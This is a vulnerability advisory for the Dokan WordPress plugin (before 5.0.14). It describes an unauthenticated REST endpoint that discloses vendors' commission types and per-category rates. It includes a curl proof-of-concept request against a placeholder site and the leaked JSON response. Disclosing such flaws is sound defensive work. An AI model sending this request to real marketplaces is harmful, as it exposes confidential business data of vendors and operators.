Dokan < 5.0.14 – Unauthenticated Commission Settings Disclosure via Store Categories REST Endpoint | CVE 2026-16575

Description

The plugin does not restrict access to per-vendor commission configuration returned by one of its unauthenticated store REST endpoints, allowing any unauthenticated user to disclose a vendor's commission type and, when category-based commission is configured, the per-category and default commission rates.

Proof of Concept

Prerequisites (realistic marketplace state):
  - A vendor has at least one published product assigned to a product category.
  - The admin has configured that vendor's commission (Dokan > Vendors > edit vendor >
    Commission), e.g. Category based with a default rate and a per-category rate.

Exploit (unauthenticated, no cookies, no nonce). <store_id> is the vendor's user ID:

  curl 'https://victim.example/?rest_route=/dokan/v1/stores/<store_id>/categories'
  (equivalently: /wp-json/dokan/v1/stores/<store_id>/categories)

Response leaks the commission type and per-category rate:
  [
    {
      "term_id": 16,
      "name": "Widgets",
      "admin_commission_type": "category_based",
      "commission": { "percentage": "42", "flat": "3" }
    }
  ]

Contrast - the single-store endpoint correctly strips these for the same anonymous client:
  curl 'https://victim.example/?rest_route=/dokan/v1/stores/<store_id>'
  -> response contains NO admin_commission_type / commission keys.